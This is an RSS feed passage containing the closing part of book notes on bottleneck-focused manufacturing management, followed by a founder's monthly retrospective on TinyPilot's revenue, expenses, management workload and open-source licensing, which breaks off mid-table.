&lt;li>Every factory strives to be perfectly &amp;ldquo;balanced.&amp;rdquo;
&lt;ul>
&lt;li>Balanced means that the capacity for every resource matches the market demand perfectly.&lt;/li>
&lt;li>At a balanced plant, every employee and machine is busy all the time, and there&amp;rsquo;s a customer ready to purchase the finished product as soon as it leaves the factory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A balanced plant is unattainable in practice.&lt;/li>
&lt;li>A plant with zero idle time is inefficient because it means people must be working on products faster than the rate the company can sell them.
&lt;ul>
&lt;li>They&amp;rsquo;re optimizing for local efficiencies rather than optimizing for what will most improve the company&amp;rsquo;s bottom line.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you perfectly match capacity to demand, productivity will decrease.
&lt;ul>
&lt;li>This is due to two factors:
&lt;ol>
&lt;li>Dependent events: Manufacturing a product involves multiple steps that depend on earlier processes.&lt;/li>
&lt;li>Statistical fluctuations: There&amp;rsquo;s always random variance in the time it takes for any particular step in a pipeline.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Example:
&lt;ul>
&lt;li>A product passes through five departments for a task that takes, on average, an hour in each department.&lt;/li>
&lt;li>Due to statistical variance, some departments will finish their work in a little more than an hour, and some will need less than an hour.&lt;/li>
&lt;li>If batches of products go through this pipeline, backups will form because delays in one stage impact all subsequent stages.
&lt;ul>
&lt;li>Finishing early has no benefit unless the next department is ready to process the incoming batch immediately.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="dependencies-and-fluctuations-hiking-single-file">Dependencies and fluctuations: hiking single-file&lt;/h3>
&lt;ul>
&lt;li>Alex leads a Boy Scout troop on a hike and observes dependent events and statistical events in the boys&amp;rsquo; pace.&lt;/li>
&lt;li>The path is narrow, so everyone has to walk single-file.&lt;/li>
&lt;li>Even though most boys walk at a speed of roughly ~2 mph, the group&amp;rsquo;s collective pace is markedly slower.&lt;/li>
&lt;li>One heavyset boy is slower than the rest and begins falling behind.&lt;/li>
&lt;li>Alex realizes that the average pace doesn&amp;rsquo;t matter because the slowest team member sets the pace of the group.&lt;/li>
&lt;li>The line of boys has dependent events and statistical fluctuations.
&lt;ul>
&lt;li>Statistical fluctuations: Boys don&amp;rsquo;t walk at constant speed but rather a mixture of faster and slower paces averaging about 2 mph.&lt;/li>
&lt;li>Dependent events: You can&amp;rsquo;t move faster than the person ahead of you in line, so your speed is limited by theirs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Solution: The troop discovers the slowest boy is carrying a ton of excess weight in his pack, so they divide it up. The boy can then move faster, which means the troop moves faster overall.&lt;/li>
&lt;/ul>
&lt;h3 id="two-types-of-resources">Two types of resources&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Bottleneck resource&lt;/strong>: Any resource whose capacity is less than or equal to the demand placed on it.&lt;/li>
&lt;li>&lt;strong>Non-bottleneck resource&lt;/strong>: Any resource whose capacity is greater than demand placed on it.&lt;/li>
&lt;li>Businesses should match their bottleneck resources&amp;rsquo; capacity to the market demand for the product.&lt;/li>
&lt;/ul>
&lt;h3 id="finding-bottlenecks">Finding bottlenecks&lt;/h3>
&lt;ul>
&lt;li>Alex tried to calculate bottlenecks in his plant by measuring the capacity for each resource and the operational time it needs to meet demand.
&lt;ul>
&lt;li>This failed because it required rigorous record-keeping, which the plant didn&amp;rsquo;t do.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Instead, Alex used heuristics to identify bottlenecks:
&lt;ul>
&lt;li>Ask foremen and expediters about resources with frequent issues.&lt;/li>
&lt;li>Look for resources with long work queues ahead of them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Alex discovers two bottlenecks in his plant.
&lt;ul>
&lt;li>One is an advanced machine that requires a specialist to operate it.&lt;/li>
&lt;li>The other is the heat-treating station.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Alex can&amp;rsquo;t easily fix the bottlenecks.
&lt;ul>
&lt;li>He can&amp;rsquo;t move either bottleneck to another position in the production pipeline.&lt;/li>
&lt;li>He can&amp;rsquo;t purchase more of either resource because it&amp;rsquo;s too expensive.&lt;/li>
&lt;li>He can&amp;rsquo;t offload work to other resources because those machines are the only ones of their type.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="modeling-the-cost-of-a-bottleneck-resource">Modeling the cost of a bottleneck resource&lt;/h3>
&lt;ul>
&lt;li>The entire plant is only as fast as its bottleneck resources.&lt;/li>
&lt;li>A bottleneck resource sitting idle for one hour is equivalent to the entire plant shutting down for one hour.&lt;/li>
&lt;li>Cost at Alex&amp;rsquo;s plant:
&lt;ul>
&lt;li>Plant has $1.6M per month in operating expenses.&lt;/li>
&lt;li>Specialty machine (bottleneck) can run for 585 hours per month.&lt;/li>
&lt;li>One hour of idle time for the specialty machine costs the plant $2,735 ($1.6M / 585)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="fixing-the-bottlenecks">Fixing the bottlenecks&lt;/h3>
&lt;ul>
&lt;li>The specialty machine is idle when workers take their union break.
&lt;ul>
&lt;li>Fix: Renegotiate union contract so that workers rotate on the bottleneck machine to eliminate downtime.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The heat treat machine often runs below capacity.
&lt;ul>
&lt;li>Fix: Prioritize planning so that they can load each heat treat batch to near capacity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The heat treat machine has idle time while workers load parts in and out.
&lt;ul>
&lt;li>Fix: Invest in more efficient techniques for loading and unloading the heat treat machine.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Quality control checks happen at the end of production.
&lt;ul>
&lt;li>This means that bottleneck resources wasted time processing parts that were already defective.&lt;/li>
&lt;li>Fix: Do quality checks upstream of bottleneck resources.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The plant uses bottleneck resources to produce products that don&amp;rsquo;t have pending orders.
&lt;ul>
&lt;li>Fix: Reserve bottleneck resources exclusively for products that have outstanding orders.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Specialty machine is too expensive to buy more than one.
&lt;ul>
&lt;li>Fix: They find a set of older, less efficient machines that accomplish the same result as the specialty machine but slower. These machines supplement the capacity of the bottleneck machine.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bottleneck resources didn&amp;rsquo;t require constant attention, so workers would often leave the machines to do other things and come back after the machine finished its work. This left idle time because workers never returned at the exact moment the machine finished.
&lt;ul>
&lt;li>Fix: Assign workers to be on constant standby at bottleneck resources.&lt;/li>
&lt;li>Even though it seems wasteful to have workers stand around for hours waiting for machines to finish their work, it&amp;rsquo;s more efficient than letting the machine sit idle.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>20% of the heat treating station&amp;rsquo;s work is due to a change to an efficiency improvement on a machine earlier in the pipeline (a non-bottleneck resource).
&lt;ul>
&lt;li>Fix: Undo the change to the upstream machine to shift load away from bottlenecked resources.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>After Alex&amp;rsquo;s plant implements all these changes, the plant ships a record number of orders for the month. But the following month, orders start running late again, and huge queues form in front of bottleneck resources.&lt;/p>
&lt;ul>
&lt;li>Jonah points out that the new backlog is due to Alex chasing wrongheaded opportunities for efficiency.
&lt;ul>
&lt;li>Even though the bottleneck resources determine total throughput for the plant, the plant still runs non-bottleneck machines at maximum capacity.&lt;/li>
&lt;li>If a non-bottleneck resource is upstream of a bottleneck resource and you run the non-bottleneck at maximum capacity, by definition, it generates too much work for the bottleneck to process.&lt;/li>
&lt;li>For products that don&amp;rsquo;t pass through a bottleneck resource, the market demand is the bottleneck.
&lt;ul>
&lt;li>There&amp;rsquo;s no reason to produce a product at a faster rate than the market consumes it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Fix: Send products through the pipeline only at the processing rate of the bottleneck resources.
&lt;ul>
&lt;li>Even if machines and workers sit idle for hours at a time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="generalized-process-of-bottleneck-oriented-improvement">Generalized process of bottleneck-oriented improvement&lt;/h3>
&lt;ol>
&lt;li>Identify the system&amp;rsquo;s constraints (bottlenecks).&lt;/li>
&lt;li>Decide how to exploit the bottlenecks (i.e., maximize utilization of the bottleneck resources).&lt;/li>
&lt;li>Subordinate everything else to the above decision.&lt;/li>
&lt;li>Elevate the system&amp;rsquo;s bottlenecks (make changes that reduce bottleneck load or increase capacity).&lt;/li>
&lt;li>If, in a previous step, you eliminated a bottleneck, go back to step 1.&lt;/li>
&lt;/ol>
&lt;h3 id="profit-by-selling-products-for-a-loss">Profit by selling products for a loss&lt;/h3>
&lt;ul>
&lt;li>Alex&amp;rsquo;s plant becomes so efficient that they have 20% spare capacity and can&amp;rsquo;t find orders to fill it.&lt;/li>
&lt;li>Alex offers to sell products below their production cost and insists that this will increase profit.&lt;/li>
&lt;li>Co-workers are skeptical, but Alex&amp;rsquo;s logic is that the plant incurs most of its cost regardless of whether they manufacture new products.
&lt;ul>
&lt;li>They still have to pay worker salaries and plant maintenance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If they&amp;rsquo;re paying recurring costs regardless, they should sell products as long as the sale price is higher than the cost of materials.
&lt;ul>
&lt;li>e.g., if a product costs $300 in materials and $200+ in labor, they should sell for prices above $300 because the labor cost isn&amp;rsquo;t meaningful when there&amp;rsquo;s spare capacity.&lt;/li>
&lt;li>Letting parts or finished products sit in storage also costs money.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 11</title><link>https://mtlynch.io/retrospectives/2021/06/</link><pubDate>Thu, 03 Jun 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/06/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Despite $30k in monthly revenue, TinyPilot barely covers costs.&lt;/li>
&lt;li>I&amp;rsquo;m exploring options to get big companies to pay more for TinyPilot.&lt;/li>
&lt;li>I need to come to terms with the fact that managing people is a real job.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="increase-tinypilots-revenue-to-33k">Increase TinyPilot&amp;rsquo;s revenue to $33k&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Increased TinyPilot&amp;rsquo;s revenue to $39k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot had a huge spike in sales following a &lt;a href="https://www.servethehome.com/tinypilot-voyager-kvm-raspberry-pi-remote/">big review from ServeTheHome&lt;/a>, one of the top blogs / YouTube channels for IT hardware.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Despite $30k in monthly revenue, TinyPilot barely covers costs.&lt;/li>
&lt;li>I&amp;rsquo;m exploring options to get big companies to pay more for TinyPilot.&lt;/li>
&lt;li>I need to come to terms with the fact that managing people is a real job.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="increase-tinypilots-revenue-to-33k">Increase TinyPilot&amp;rsquo;s revenue to $33k&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Increased TinyPilot&amp;rsquo;s revenue to $39k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot had a huge spike in sales following a &lt;a href="https://www.servethehome.com/tinypilot-voyager-kvm-raspberry-pi-remote/">big review from ServeTheHome&lt;/a>, one of the top blogs / YouTube channels for IT hardware.&lt;/p>
&lt;h3 id="fully-migrate-tinypilots-operations-to-our-new-office">Fully migrate TinyPilot&amp;rsquo;s operations to our new office&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: TinyPilot operates completely at the new office&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We finally moved TinyPilot operations out of my house and into a real office. There were some stressful days, like when I wasn&amp;rsquo;t sure if I could get printing to work on Linux at all, but overall the transition was smooth. Incoming parts ship to the office, employees build and test products at the office, and outgoing orders ship out from the office.&lt;/p>
&lt;h3 id="gather-feedback-on-the-table-of-contents-for-refactoring-english-and-iterate-on-it">Gather feedback on the table of contents for &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a> and iterate on it&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I gathered feedback, but I&amp;rsquo;m not yet sure how to integrate it&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I got feedback from the &lt;a href="https://writeusefulbooks.com">Write Useful Books community&lt;/a> and from my mailing list. Six people responded out of 202 subscribers, which was a bit lower than I hoped, but it provided &lt;a href="https://twitter.com/deliberatecoder/status/1396595066316148742">helpful feedback&lt;/a>.&lt;/p>
&lt;p>People seemed more interested in the high-level tasks like &amp;ldquo;Write better blog posts&amp;rdquo; and less interested in chapters that explain how to improve verb use. I want to reorder things to front-load the interesting parts, but I&amp;rsquo;m not sure how to do that because the later chapters depend on the earlier ones.&lt;/p>
&lt;p>Exciting outcomes are naturally more attractive than fundamentals. If I wrote a book about creating a video game, people would be interested in chapters like &amp;ldquo;How to build enemies with intelligent AI&amp;rdquo; and probably not so interested in &amp;ldquo;the basics of linear algebra.&amp;rdquo; That doesn&amp;rsquo;t mean that I can just skip the fundamentals, but maybe it means I need to find ways to keep the lessons practical and easy to apply while teaching the fundamentals&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>5,880&lt;/td>
 &lt;td>7,283&lt;/td>
 &lt;td>&lt;font color="green">+1,403 (+24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>10,483&lt;/td>
 &lt;td>13,267&lt;/td>
 &lt;td>&lt;font color="green">+2,784 (+27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$28,880.65&lt;/td>
 &lt;td>$38,767.77&lt;/td>
 &lt;td>&lt;font color="green">+$9,887.12 (+34%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$843.56&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$6,858.72&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$6,015.16 (+713%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot had its second-best month ever. It was exciting how everything worked smoothly at this level of sales. When a similar rush hit in January, it &lt;a href="https://mtlynch.io/retrospectives/2021/02/#tinypilots-first-postmortem">overwhelmed us&lt;/a>. Fortunately, we&amp;rsquo;ve improved our order fulfillment workflow, so all of our systems worked as normal.&lt;/p>
&lt;h2 id="im-just-a-manager">I&amp;rsquo;m just a manager&lt;/h2>
&lt;p>From 2012 to 2014, I worked as a software security consultant at a company called iSEC Partners. My manager, Peter, ran the entire team in New York. He would often say self-deprecatingly, &amp;ldquo;I&amp;rsquo;m just a manager — I&amp;rsquo;m overhead.&amp;rdquo; He said it as all of his employees did productive work, whereas he was just part of the company&amp;rsquo;s bureaucracy.&lt;/p>
&lt;p>But Peter was an exceptionally good manager, and everyone knew it. I think he joked about the unimportance of his role because management meant he had less time for the more fun things that happened at the company, like security research and tool development.&lt;/p>
&lt;p>I now relate to Peter&amp;rsquo;s sentiment. I&amp;rsquo;ll often get to the end of the day and feel like all I did was write emails. But taking a step back, I can understand why I have those days. At this point, I work with a lot of people on TinyPilot:&lt;/p>
&lt;ul>
&lt;li>three remote software developers&lt;/li>
&lt;li>three local staffers who handle inventory, assembly, and order fulfillment&lt;/li>
&lt;li>two vendors with whom I work closely on 3D printing and electrical engineering&lt;/li>
&lt;/ul>
&lt;p>So, eight people in total that I communicate with at least once per week. And on top of that, there are other people and services I work with, like the office&amp;rsquo;s landlord, my HR/payroll service, our knowledge base, and tools for tracking inventory. And I&amp;rsquo;m the only one handling customer support and sales.&lt;/p>
&lt;p>Taking that into consideration, it feels more reasonable that I spend most of my time just emailing people. I need to adjust my strategies to embrace management even more.&lt;/p>
&lt;h3 id="avoid-doing-work-that-my-teammates-can-do">Avoid doing work that my teammates can do&lt;/h3>
&lt;p>One of the dumbest things I do now is take on tasks that someone else on the team is perfectly capable of doing instead. Last month, I talked about how &lt;a href="https://mtlynch.io/retrospectives/2021/05/#my-wrongheaded-promotional-experiment">I only have an hour per day to write code&lt;/a>. Thinking about it more, I shouldn&amp;rsquo;t even be doing that because my teammates can write code, and I&amp;rsquo;m falling behind on tasks that &lt;em>only&lt;/em> I can do.&lt;/p>
&lt;h3 id="unhoard-michael-only-tasks">Unhoard Michael-only tasks&lt;/h3>
&lt;p>There are a few tasks that other people theoretically could do, but they can&amp;rsquo;t in practice because I&amp;rsquo;m currently the only one with the required access or knowledge.&lt;/p>
&lt;p>These tasks primarily cross domains or roles, like managing tools that only my local staff uses. Here are some things I should delegate (in ascending difficulty of unbinding them from me):&lt;/p>
&lt;ul>
&lt;li>Manage glue code that connects Shopify to our inventory spreadsheet.&lt;/li>
&lt;li>Manage scripts that build TinyPilot production images.&lt;/li>
&lt;li>Manage formulas in our inventory spreadsheet.&lt;/li>
&lt;li>Answer customer support questions.&lt;/li>
&lt;li>Perform final QA testing on TinyPilot releases.&lt;/li>
&lt;/ul>
&lt;h2 id="how-is-30kmonth-not-profitable">How is $30k/month not profitable?&lt;/h2>
&lt;p>I was lamenting recently to my girlfriend that there are likely easy solutions to many of my issues growing TinyPilot, but I&amp;rsquo;m unaware of them because I&amp;rsquo;m not in touch with people who run businesses like mine. She asked who I&amp;rsquo;d want advice from and pointed out that I could just think of people and email them.&lt;/p>
&lt;p>The first person who came to mind was &lt;a href="https://www.mikeperham.com/">Mike Perham&lt;/a>, the founder of Sidekiq. Mike&amp;rsquo;s &lt;a href="https://www.indiehackers.com/podcast/016-mike-perham-of-sidekiq">interview on Indie Hackers&lt;/a> is one of my favorites. I listened to it when I was still an employee at Google, and his business has always stuck with me as the ideal indie software business. He was earning ~$80k/month writing open-source software. Best of all, customers run Sidekiq on their own machines, so it&amp;rsquo;s nearly impossible for an emergency to pop up that demands Mike&amp;rsquo;s immediate attention.&lt;/p>
&lt;p>I don&amp;rsquo;t know Mike, so I sent him an email introducing myself and asked if he had any advice about TinyPilot. He responded the next day with several generous suggestions. The part that most stuck out to me was his reaction to my finances:&lt;/p>
&lt;blockquote>
&lt;p>Get those profits up. A 5% profit margin is not a healthy business to be in. Either get your costs down, massage your prices a bit or find a software-only addon that can be closer to pure profit.&lt;/p>&lt;/blockquote>
&lt;p>That was a helpful wake-up call. I knew my profits were low, but it still felt like $30k/month meant that I was in a good position. But thinking about it in terms of 5% profit margin really puts it into perspective.&lt;/p>
&lt;p>Based on Mike&amp;rsquo;s advice, I took a closer look at my expenses. I haven&amp;rsquo;t done my bookkeeping for May yet, so I&amp;rsquo;m using April as an example.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/06/pie-chart.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/06/pie-chart_hu_79480732cdac4855.png 300w, https://mtlynch.io/retrospectives/2021/06/pie-chart_hu_93993cec6745701e.png 600w, https://mtlynch.io/retrospectives/2021/06/pie-chart_hu_f0c94300ff4d9c66.png 800w, https://mtlynch.io/retrospectives/2021/06/pie-chart.png 922w'
 src="https://mtlynch.io/retrospectives/2021/06/pie-chart.png" alt="Pie chart of TinyPilot expenses" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot expenses by category&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Total&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Raw Materials&lt;/td>
 &lt;td>$15,637.68&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software Contractors&lt;/td>
 &lt;td>$9,331.79&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Local Fulfillment Staff&lt;/td>
 &lt;td>$1,460.12&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Postage&lt;/td>
 &lt;td>$1,262.53&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical Engineering Consulting&lt;/td>
 &lt;td>$901.25&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office Rent&lt;/td>
 &lt;td>$550.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>$370.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Lawyer&lt;/td>
 &lt;td>$270.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office Equipment&lt;/td>
 &lt;td>$233.72&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphic Design&lt;/td>
 &lt;td>$169.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Stickers&lt;/td>
 &lt;td>$163.63&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cloud Services&lt;/td>
 &lt;td>$176.33&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Misc&lt;/td>
 &lt;td>$161.21&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My cost for raw materials isn&amp;rsquo;t so surprising. My profit margin on physical products is generally around 50-60%, so $15k matches what I&amp;rsquo;d expect on about $30k of sales. There&amp;rsquo;s not much wiggle room there, as there aren&amp;rsquo;t cheaper alternatives to the materials I buy. There are a few items like cables where I pay a premium for quality, but that&amp;rsquo;s a difference of $1-2/unit on a product I sell for $300. The expensive parts are things that have no cheaper alternatives, like the Raspberry Pis or the HDMI capture chips.&lt;/p>
&lt;p>My second largest expense is software development, which probably seems strange when I can write software myself. The problem is that I need uninterrupted focus time to write software well, and TinyPilot has too many non-software moving parts to allow that. At the end of 2020, TinyPilot&amp;rsquo;s software development slowed to a crawl because I was the only developer, and I was busy with all the logistics of adding &lt;a href="https://mtlynch.io/retrospectives/2020/12/#new-products-require-new-habits">a new product&lt;/a>.&lt;/p>
&lt;p>I could hire cheaper developers, but that would quickly become disastrous. The developers I work with are especially talented. They keep the quality of the codebase high so that the software continues to be maintainable and low in bugs.&lt;/p>
&lt;p>I&amp;rsquo;ve worked with cheaper developers (~$30/hr), and they either can&amp;rsquo;t figure out how to do the work at all, or they apply naïve implementations that lead to bugs and maintenance headaches later on. If I staffed the project with low-cost developers, the codebase would become an unmaintainable nightmare within a few months.&lt;/p>
&lt;p>Outside of this, I don&amp;rsquo;t have any expenses I can meaningfully cut. My third biggest expense is my local fulfillment staff, but even slashing 50% of costs would only reduce overall expenses by 2.4%, so it&amp;rsquo;s not worth messing with a system that works well.&lt;/p>
&lt;p>The other way I can follow Mike Perham&amp;rsquo;s advice is to increase revenue.&lt;/p>
&lt;h2 id="capturing-value-from-large-customers">Capturing value from large customers&lt;/h2>
&lt;p>Earlier this year, I talked to an IT manager at a large corporation. He loved TinyPilot and wanted to champion it within his company to replace their old $2k enterprise appliances. And it worked! The company deployed 40 TinyPilots throughout one of their departments and planned to add more.&lt;/p>
&lt;p>Guess how much TinyPilot earned from that deployment. Zero.&lt;/p>
&lt;p>Instead of buying the hardware from me, they simply built their own devices. And because the software has &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/master/LICENSE">a permissive open-source license&lt;/a>, they were free to use it in their company without paying me anything.&lt;/p>
&lt;p>This is an extremely common problem in open-source. An open license helps people discover your product and encourages them to use it, but it also allows big corporations to profit from your work while offering nothing in return.&lt;/p>
&lt;p>I asked Mike Perham about this as well. Here was his response:&lt;/p>
&lt;blockquote>
&lt;p>Sounds like your license is allowing large customers to walk all over you. This is YOUR code, right? Change your license, e.g. allow hobbyists to use it with one instance for personal use only. The MIT or BSD license is great for giving away code; it&amp;rsquo;s not good to base a business on.&lt;/p>&lt;/blockquote>
&lt;p>It is my code&amp;hellip; sort of. The freelancers who work on TinyPilot sign a contract saying that I own the intellectual property of code they contribute, but I also have accepted a handful of contributions from volunteer developers. My understanding is that developers who contributed free code technically co-own the copyright to TinyPilot&amp;rsquo;s code with me.&lt;/p>
&lt;p>I released TinyPilot under the &lt;a href="https://choosealicense.com/licenses/mit/">MIT license&lt;/a> because it gives me flexibility as well. I &lt;em>think&lt;/em> I can &amp;ldquo;fork&amp;rdquo; the code myself into a different license and just say that it also uses MIT-licensed code, but I&amp;rsquo;m not totally sure how that works.&lt;/p>
&lt;p>I&amp;rsquo;ve thought about ways to capture more value from large, Enterprise customers, and here&amp;rsquo;s what I&amp;rsquo;ve come up with:&lt;/p>
&lt;h3 id="offer-enterprise-features-for-tinypilot">Offer Enterprise features for TinyPilot&lt;/h3>
&lt;p>One of the features that large customers ask for and nobody else does is programmatic access to the TinyPilot. Like, &amp;ldquo;I want to monitor the remote screen to detect when the target device has crashed, then generate an alert.&amp;rdquo;&lt;/p>
&lt;p>I&amp;rsquo;m going to talk to large customers about an Enterprise version of TinyPilot with this functionality for a steep premium. I think something like $50/device/month would be ridiculous to a home user, but it&amp;rsquo;s an irrelevant amount of money to a Fortune 500 company if it means they don&amp;rsquo;t have to spend weeks rolling their own solution.&lt;/p>
&lt;h3 id="offer-a-saas-add-on">Offer a SaaS add-on&lt;/h3>
&lt;p>TinyPilot is easy to use if you&amp;rsquo;re on the same local network as the device, but if customers want to access their TinyPilots from over the Internet, they currently have to rely on third-party solutions. I&amp;rsquo;ve floated the idea to several customers of a &amp;ldquo;TinyPilot Cloud Portal&amp;rdquo;: a secure web interface that gives them remote access to their TinyPilot devices anywhere on the Internet.&lt;/p>
&lt;p>This would be a nice software as a service subscription opportunity, which would provide a complement to TinyPilot&amp;rsquo;s hardware offerings at a higher profit margin.&lt;/p>
&lt;p>Still, I want to avoid hosting a service &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#you-can-build-a-successful-business-without-being-available-247">where I have to be on-call&lt;/a>. I&amp;rsquo;m exploring the possibility of working with a vendor that can manage the operational aspects of the service.&lt;/p>
&lt;h3 id="talk-to-a-lawyer-who-specializes-in-open-source-licensing">Talk to a lawyer who specializes in open-source licensing&lt;/h3>
&lt;p>There&amp;rsquo;s a lot I still don&amp;rsquo;t understand about open-source licensing, so I should talk to a lawyer to find out what my options are. The ideal license would keep TinyPilot affordable for personal users who can try it at home and then bring it to their employer for a more expensive license in a commercial setting, &lt;a href="https://github.com/mperham/sidekiq/wiki/Commercial-FAQ">similar to Sidekiq&lt;/a>.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>56,094&lt;/td>
 &lt;td>49,085&lt;/td>
 &lt;td>&lt;font color="red">-7,009 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>123,723&lt;/td>
 &lt;td>108,862&lt;/td>
 &lt;td>&lt;font color="red">-14,861 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$560.20&lt;/td>
 &lt;td>$466.84&lt;/td>
 &lt;td>&lt;font color="red">-$93.36 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$116.78&lt;/td>
 &lt;td>$138.99&lt;/td>
 &lt;td>&lt;font color="green">+$22.21 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
